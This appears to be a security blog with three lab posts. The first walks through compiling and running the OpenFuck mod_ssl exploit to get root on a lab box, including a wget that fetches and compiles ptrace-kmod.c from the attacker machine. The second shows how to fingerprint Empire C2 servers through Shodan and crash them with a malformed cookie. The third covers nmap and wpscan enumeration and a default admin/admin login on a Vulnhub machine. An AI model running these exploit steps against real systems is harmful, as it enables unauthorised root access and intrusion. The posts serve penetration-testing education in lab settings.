+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  17 error(s) and 19 item(s) reported on remote host
+ End Time:           2017-04-05 21:33:12 (GMT-5) (463 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

I highlighted the part that looked most interesting to me. Seems there's a remote buffer overflow which allows attackers to kill any process on the system with CVE 2002-0082 so lets google around for that.

Looks like we have an exploit from exploit-db! That's very hopeful. Prior to going all out and compiling and attacking read the source first. The source tells you it's outdated and needs to have some updates and shows a url to head to. Remember the CVE is from 2002! So heading over to the url it shows the following updates that need made.

apt-get install libssl-dev

add the following libraries to the source code

#include <openssl/rc4.h>
#include <openssl/md5.h>

Next search in the source code for "wget" without the quotes and replace the url you find with this one

http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Next find line 961 and add "const" to the beginning should look like the following
const unsigned char *p, *end;

Finally we need to compile it

gcc -o OpenFuck 764.c -lcrypto

I had done mine slightly different since since my lab doesn't go out to the internet other than my kali box if I change the network configuration. So I downloaded ptrace-kmod.c from packetstormsecurity to my kali box and moved it to /var/www/html and started apache and changed the line with wget to 172.16.2.13/ptrace-kmod.c.

wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
mv ptrace-kmod.c /var/www/html
service apache2 start

Finally let's run the exploit!

root@kali:~# ./openfuck

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./openfuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
 0x00 - Caldera OpenLinux (apache-1.3.26)
 0x01 - Cobalt Sun 6.0 (apache-1.3.12)
 0x02 - Cobalt Sun 6.0 (apache-1.3.20)
 0x03 - Cobalt Sun x (apache-1.3.26)
 0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
 0x05 - Conectiva 4 (apache-1.3.6)
 0x06 - Conectiva 4.1 (apache-1.3.9)
 0x07 - Conectiva 6 (apache-1.3.14)
 0x08 - Conectiva 7 (apache-1.3.12)
 0x09 - Conectiva 7 (apache-1.3.19)
 0x0a - Conectiva 7/8 (apache-1.3.26)
 0x0b - Conectiva 8 (apache-1.3.22)
 0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
 0x0d - Debian GNU Linux (apache_1.3.19-1)
 0x0e - Debian GNU Linux (apache_1.3.22-2)
 0x0f - Debian GNU Linux (apache-1.3.22-2.1)
 0x10 - Debian GNU Linux (apache-1.3.22-5)
 0x11 - Debian GNU Linux (apache_1.3.23-1)
 0x12 - Debian GNU Linux (apache_1.3.24-2.1)
 0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
 0x14 - Debian GNU Linux (apache_1.3.24-3)
 0x15 - Debian GNU Linux (apache-1.3.26-1)
 0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
 0x17 - Debian GNU Linux (apache-1.3.27)
 0x18 - FreeBSD (apache-1.3.9)
 0x19 - FreeBSD (apache-1.3.11)
 0x1a - FreeBSD (apache-1.3.12.1.40)
 0x1b - FreeBSD (apache-1.3.12.1.40)
 0x1c - FreeBSD (apache-1.3.12.1.40)
 0x1d - FreeBSD (apache-1.3.12.1.40_1)
 0x1e - FreeBSD (apache-1.3.12)
 0x1f - FreeBSD (apache-1.3.14)
 0x20 - FreeBSD (apache-1.3.14)
 0x21 - FreeBSD (apache-1.3.14)
 0x22 - FreeBSD (apache-1.3.14)
 0x23 - FreeBSD (apache-1.3.14)
 0x24 - FreeBSD (apache-1.3.17_1)
 0x25 - FreeBSD (apache-1.3.19)
 0x26 - FreeBSD (apache-1.3.19_1)
 0x27 - FreeBSD (apache-1.3.20)
 0x28 - FreeBSD (apache-1.3.20)
 0x29 - FreeBSD (apache-1.3.20+2.8.4)
 0x2a - FreeBSD (apache-1.3.20_1)
 0x2b - FreeBSD (apache-1.3.22)
 0x2c - FreeBSD (apache-1.3.22_7)
 0x2d - FreeBSD (apache_fp-1.3.23)
 0x2e - FreeBSD (apache-1.3.24_7)
 0x2f - FreeBSD (apache-1.3.24+2.8.8)
 0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
 0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
 0x32 - FreeBSD (apache-1.3.27)
 0x33 - Gentoo Linux (apache-1.3.24-r2)
 0x34 - Linux Generic (apache-1.3.14)
 0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
 0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
 0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
 0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
 0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
 0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
 0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
 0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
 0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
 0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
 0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
 0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
 0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
 0x42 - Mandrake Linux 8.2 (apache-1.3.24)
 0x43 - Mandrake Linux 9 (apache-1.3.26)
 0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)
 0x45 - RedHat Linux TEST1 (apache-1.3.12-1)
 0x46 - RedHat Linux TEST2 (apache-1.3.12-1)
 0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)
 0x48 - RedHat Linux 4.2 (apache-1.1.3-3)
 0x49 - RedHat Linux 5.0 (apache-1.2.4-4)
 0x4a - RedHat Linux 5.1-Update (apache-1.2.6)
 0x4b - RedHat Linux 5.1 (apache-1.2.6-4)
 0x4c - RedHat Linux 5.2 (apache-1.3.3-1)
 0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)
 0x4e - RedHat Linux 6.0 (apache-1.3.6-7)
 0x4f - RedHat Linux 6.0 (apache-1.3.6-7)
 0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)
 0x51 - RedHat Linux 6.0 Update (apache-1.3.24)
 0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1
 0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2
 0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)
 0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)
 0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1
 0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2
 0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3
 0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1
 0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
 0x5b - Redhat Linux 7.x (apache-1.3.22)
 0x5c - RedHat Linux 7.x (apache-1.3.26-1)
 0x5d - RedHat Linux 7.x (apache-1.3.27)
 0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
 0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
 0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
 0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
 0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
 0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
 0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
 0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
 0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
 0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
 0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
 0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
 0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
 0x6d - RedHat Linux 7.2 (apache-1.3.24)
 0x6e - RedHat Linux 7.2 (apache-1.3.26)
 0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
 0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
 0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
 0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
 0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
 0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
 0x75 - RedHat Linux 7.3 (apache-1.3.27)
 0x76 - RedHat Linux 8.0 (apache-1.3.27)
 0x77 - RedHat Linux 8.0-second (apache-1.3.27)
 0x78 - RedHat Linux 8.0 (apache-2.0.40)
 0x79 - Slackware Linux 4.0 (apache-1.3.6)
 0x7a - Slackware Linux 7.0 (apache-1.3.9)
 0x7b - Slackware Linux 7.0 (apache-1.3.26)
 0x7c - Slackware 7.0  (apache-1.3.26)2
 0x7d - Slackware Linux 7.1 (apache-1.3.12)
 0x7e - Slackware Linux 8.0 (apache-1.3.20)
 0x7f - Slackware Linux 8.1 (apache-1.3.24)
 0x80 - Slackware Linux 8.1 (apache-1.3.26)
 0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
 0x82 - Slackware Linux (apache-1.3.27)
 0x83 - SuSE Linux 7.0 (apache-1.3.12)
 0x84 - SuSE Linux 7.1 (apache-1.3.17)
 0x85 - SuSE Linux 7.2 (apache-1.3.19)
 0x86 - SuSE Linux 7.3 (apache-1.3.20)
 0x87 - SuSE Linux 8.0 (apache-1.3.23)
 0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
 0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
 0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)
Looks like we need to do a little more. So we know we have RedHat and we know it's apache 1.3.20. So looks like our options are
0x6a or 0x6b

Lets try the first one

root@kali:~# ./openfuck 0x6a 172.16.2.13 443

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80ffe70
Ready to send shellcode
Spawning shell...
Good Bye!

Doesn't look like it so lets try the other one

root@kali:~# ./openfuck 0x6b 172.16.2.13 443

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
ace-kmod.c; rm ptrace-kmod.c; ./p;  wget 172.16.2.21/ptrace-kmod.c; gcc -o p ptr 
--15:08:48--  http://172.16.2.21/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to 172.16.2.21:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 4,128 [text/x-csrc]

    0K ....                                                  100% @   3.94 MB/s

15:08:48 (3.94 MB/s) - `ptrace-kmod.c' saved [4128/4128]

/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status
pwd
/tmp
whoami
root

We have root! Also it might take a couple times of running OpenFuck before it works but it will work if all is set up correctly. In another post i'll go over troubleshooting for OpenFuck since I had a hard time after doing a dist-upgrade of kali. Hope y'all enjoy these walk throughs.

Wednesday, April 5, 2017

Hunting Red Team Empire C2 Infrastructure

Introduction

While playing around with setting up my C2 nodes and redirectors for an engagement, I decided to start poking around at both Empire and Meterpreter's default setups. The end goal of this project was to be able to positively identify nodes on the Internet that are being used actively by attackers or Red Teams with little to no scope filtering. The results were interesting, and the first time investigating revealed over twenty easy to find C2 nodes running stock Empire or Meterpreter reverse http/s sessions.

History of Failure

Coding is difficult, even for hackers. Both Empire, and Metasploit projects have a history of Remote Code Execution vulnerabilities. Red Teams need to go to great lengths in order to keep people from compromising their crown jewels which includes active agents and client data.

Empire RCE
Metasploit RCE

Empire

Empire, now in beta for 2.0 includes both Powershell Empire as well as the python version Empyre. The Empire listener is based on BaseHTTPServer in Python and provides an extraction layer on top of it. Let's take a look at the HTTP headers that are present in default Empire configuration.

Empire Headers

Using the HTTP request of GET / HTTP/1.1, the following headers were returned.

HTTP/1.0 200 OK
Server: Microsoft-IIS/7.5
Date: Wed, 05 Apr 2017 18:26:10 GMT

The thing that stands out here is the general lack of headers that would normally be present in a request. Also, the fact that we used HTTP/1.1 as the protocol, but the reply is still for HTTP/1.0

Empire default page

<html><body><h1>It works!</h1><p>This is the default web page for this server.</p><p>The web server software is running but no content has been added, yet.</p></body></html>

Hashes of defaul page

MD5: 885ecd7910c988f1f15fcacca5e1734e
SHA1: b642227fbc703af1a67edb665241fc709ecd6f6e
SHA2: a58fb107072d9523114a1b1f17fbf5e7a8b96da7783f24d84f83df34abc48576

Finding Empire Listeners with Shodan

Shodan is a search engine for Security Researchers. They routinely scan common ports across the Internet, and make the data publicly available, and easily searchable. APIs are also provided for automating a lot of the tasks required.

Using the common headers, and default web page listed above, we are able to narrow down the list of possible Empire C2 nodes on the Internet with a simple query.

'Microsoft-IIS/7.5' 'It works!' -'Content-Type' -'Set-Cookie'

You'll notice that the results returned all are HTTP/1.0 with matching profiles that we scoped out above.

Finding an exception in Empire

The HTTP module in Empire is located in lib/common/http.py. Go ahead and use your favorite text editor to open that up, and have a look around at the code.

In the class RequestHandler and method do_GET we have the following piece of code for handling parsing of cookie data.

if cookie:
            # search for a SESSIONID value in the cookie
            parts = cookie.split(";")
            for part in parts:
                if "SESSIONID" in part:
                    # extract the sessionID value
                    name, sessionID = part.split("=")

Interesting.
name, sessionID = part.split("=")
If there is more than one equal sign in the cookie field, it'll continue to split on equal signs. That line should be this.
name, sessionID = part.split("=", 1)
In order to limit the number of items to one.

Let's go ahead and try to exploit this from the client side with the following request.

curl http://target:port --Cookie 'SESSIONID=id=id'

Curl will return the following error, because Python threw an exception upon parsing the cookies.

curl: (52) Empty reply from server

Changing default values

While executing a Red Team engagement, it's always a good idea to change the default values of tools that you use, whether it be a scanner or C2 infrastructure. This will make it harder for Blue Team elements to detect portions of your activity. You should also either utilize Empire's whitelisting feature or setup a Firewall in order to keep your test within scope. There is no excuse for leaving your C2 node exposed to the entire Internet.

You should have noticed while browsing http.py that the default page served is also located in that file in the function named default_page.

In order to change the default server name, you must edit the configuration in the empire.db file located in data/. Open it up by using sqlite3 data/empire.db. You can view the current setting by typing SELECT server_version from config;
In order to update it, something like the following will do the job.

update config set server_version = 'nginx' where server_version = 'Microsoft-IIS/7.5';

Going beyond Shodan

Scans.io is another great resource for looking at Internet-wide scans including those for HTTPS sites. The scan sets are huge, but offer a very current view of HTTPs servers across the globe. Data is in JSON format, and the default page is saved in base64 format within each node.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PHA+VGhpcyBpcyB0aGUgZGVmYXVsdCB3ZWIgcGFnZSBmb3IgdGhpcyBzZXJ2ZXIuPC9wPjxwPlRoZSB3ZWIgc2VydmVyIHNvZnR3YXJlIGlzIHJ1bm5pbmcgYnV0IG5vIGNvbnRlbnQgaGFzIGJlZW4gYWRkZWQsIHlldC48L3A+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Empire HTML. You can parse this file and extract each IP address that should be tested, and then feed them into the script below.

Automating detection with Python

Use the following to run this script.

python3 empire_identifier.py 

Happy hunting, a future post will detail similar experiences with Meterpreter.

Saturday, April 1, 2017

hackfest2016: Quaoar - Vulnhub Walk Through

Introduction

This is the first boot2root box I’ll be tackling in a series of boot2roots I’ll be doing to learn. I chose this one because it’s new, it’s beginner stage, and it’s got some helpful hints on Vulnhub to get you started. I’ll be documenting my findings and doing a write up of every box I attempt to boot2root from Vulnhub or other sources. This is both for my benefit and others that might get stuck in the future. Beware that I will have spoilers in these as they show how I gained root on these boxes. I’m using Kali XFCE with 20 gigabytes of hard drive space and basic default settings from VMWare. Nothing to special. The host is a 2014 Macbook pro running the Intel i7 chip. Only the Kali and boot2root VM will be on the same network.

Enumeration

Nmap was one of the hints that the creator of this boot2root had mentioned to use so it’s where I started with. I almost always use the switches –Pn –sV –p1-65535 –A to start with on these boot2roots. Really deep dive the ports and grab headers. If this was a live pen test I likely wouldn’t make that much noise and would stick to top ports or try to find something more targeted from other sources first from pre-engagement. At any case the results of the nmap scan were as follows.
root@kali:~# nmap -Pn -sV -p1-65535 -A 172.16.13.128

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2017-03-24 08:29 CDT
Nmap scan report for 172.16.13.128
Host is up (0.00041s latency).
Not shown: 65526 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)
|   2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)
|_  256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid: 
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_Hackers
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: UIDL STLS SASL CAPA TOP RESP-CODES PIPELINING
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: capabilities STARTTLS more listed IDLE OK LOGIN-REFERRALS post-login Pre-login ENABLE ID LOGINDISABLEDA0001 LITERAL+ IMAP4rev1 SASL-IR have
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_imap-capabilities: AUTH=PLAINA0001 more listed IDLE OK LOGIN-REFERRALS post-login capabilities ENABLE ID Pre-login LITERAL+ IMAP4rev1 SASL-IR have
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
995/tcp open  ssl/pop3    Dovecot pop3d
|_pop3-capabilities: UIDL USER SASL(PLAIN) CAPA TOP RESP-CODES PIPELINING
|_ssl-date: 2017-03-24T13:30:07+00:00; 0s from scanner time.
MAC Address: 00:0C:29:C7:5D:11 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: , NetBIOS MAC:  (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2017-03-24T09:30:07-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 172.16.13.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.23 seconds
From nmap we know that we have port 80 open, so next I went to the web browser to see what I could physically see. Nothing of interest there, so I went to DirBuster next as it was hinted to use from the description on VulnHub. I ran DirBuster with the url of http://172.x.x.x:80 and navigated to /usr/share/dirbuster/wordlist/directory-list-1.0.txt. I let this run for 1-2 hours. Once I started seeing the wordpress stuff I figured that’s more or less what the creator wanted me to find to pivot to another tool.
The next tool I will pivot to is wpscan. This will help us determine any vulnerabilities in the plugins and find all directories, themes, and plugins associated with the wordpress server. First lets make sure the database is up to date with a wpscan –update. Next is to run the actual wpscan agains the wordpress site ‘wpscan –url 172.16.13.128/wordpress’. I had to add the /wordpress because that’s where the wordpress site begins. This gives me some useful information about themes and plugins available.
[+] URL: http://172.16.13.128/wordpress/
[+] Started: Fri Mar 24 15:09:59 2017

[!] The WordPress 'http://172.16.13.128/wordpress/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.3.10-1ubuntu3
[+] XML-RPC Interface available under: http://172.16.13.128/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://172.16.13.128/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://172.16.13.128/wordpress/wp-includes/

[+] WordPress version 3.9.14 (Released on 2016-09-07) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 8 vulnerabilities identified from the version number

[!] Title: WordPress 2.9-4.7 - Authenticated Cross-Site scripting (XSS) in update-core.php
    Reference: https://wpvulndb.com/vulnerabilities/8716
    Reference: https://github.com/WordPress/WordPress/blob/c9ea1de1441bb3bda133bf72d513ca9de66566c2/wp-admin/update-core.php
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5488
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.4-4.7 - Stored Cross-Site Scripting (XSS) via Theme Name fallback
    Reference: https://wpvulndb.com/vulnerabilities/8718
    Reference: https://www.mehmetince.net/low-severity-wordpress/
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/ce7fb2934dd111e6353784852de8aea2a938b359
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5490
[i] Fixed in: 3.9.15

[!] Title: WordPress <= 4.7 - Post via Email Checks mail.example.com by Default
    Reference: https://wpvulndb.com/vulnerabilities/8719
    Reference: https://github.com/WordPress/WordPress/commit/061e8788814ac87706d8b95688df276fe3c8596a
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5491
[i] Fixed in: 3.9.15

[!] Title: WordPress 2.8-4.7 - Accessibility Mode Cross-Site Request Forgery (CSRF)
    Reference: https://wpvulndb.com/vulnerabilities/8720
    Reference: https://github.com/WordPress/WordPress/commit/03e5c0314aeffe6b27f4b98fef842bf0fb00c733
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5492
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.0-4.7 - Cryptographically Weak Pseudo-Random Number Generator (PRNG)
    Reference: https://wpvulndb.com/vulnerabilities/8721
    Reference: https://github.com/WordPress/WordPress/commit/cea9e2dc62abf777e06b12ec4ad9d1aaa49b29f4
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5493
[i] Fixed in: 3.9.15

[!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection
    Reference: https://wpvulndb.com/vulnerabilities/8730
    Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
    Reference: https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5611
[i] Fixed in: 3.9.16

[!] Title: WordPress 3.6.0-4.7.2 - Authenticated Cross-Site Scripting (XSS) via Media File Metadata
    Reference: https://wpvulndb.com/vulnerabilities/8765
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/28f838ca3ee205b6f39cd2bf23eb4e5f52796bd7
    Reference: https://sumofpwn.nl/advisory/2016/wordpress_audio_playlist_functionality_is_affected_by_cross_site_scripting.html
    Reference: http://seclists.org/oss-sec/2017/q1/563
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6814
[i] Fixed in: 3.9.17

[!] Title: WordPress 2.8.1-4.7.2 - Control Characters in Redirect URL Validation
    Reference: https://wpvulndb.com/vulnerabilities/8766
    Reference: https://wordpress.org/news/2017/03/wordpress-4-7-3-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/288cd469396cfe7055972b457eb589cea51ce40e
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6815
[i] Fixed in: 3.9.17

[+] WordPress theme in use: twentyfourteen - v1.1

[+] Name: twentyfourteen - v1.1
 |  Location: http://172.16.13.128/wordpress/wp-content/themes/twentyfourteen/
[!] The version is out of date, the latest version is 1.9
 |  Style URL: http://172.16.13.128/wordpress/wp-content/themes/twentyfourteen/style.css
 |  Referenced style.css: wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Finished: Fri Mar 24 15:10:02 2017
[+] Requests Done: 48
[+] Memory used: 17.445 MB
[+] Elapsed time: 00:00:02

So from wpscan we now know it’s running the default Wordpress theme of twentyfourteen. It also gives us some other useful information as in what version of Wordpress is running, known vulnerabilities for themes, versions, plugins, etc. But lets try to enumerate users to see if we can’t dig a little deeper. Lets use wpscan again for this ‘wpscan –url 172.16.13.128/wordpress –enumerate u’
[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
    +----+--------+--------+
    | Id | Login  | Name   |
    +----+--------+--------+
    | 1  | admin  | admin  |
    | 2  | wpuser | wpuser |
    +----+--------+--------+
[!] Default first WordPress username 'admin' is still used

Gaining Access


Interesting! Still using default ‘admin’ account. Wonder if that password has been reset from the default or if it’s using a weak password. Lets check on the wp-login.php page. 172.16.13.128/wordpress/wp-login.php with username ‘admin’ and password ‘admin’. Looks like the password worked! So lets explore just incase wpscan missed anything. Looks like we have 2 plugins of ‘hello dolly’ and ‘mail masta’. A quick google reviels that Mail Masta has a Local File Inclusion exploit associated with it and gives a PoC (proof of concept). Lets give it a try and see if we cannot find the
/etc/passwd file. 

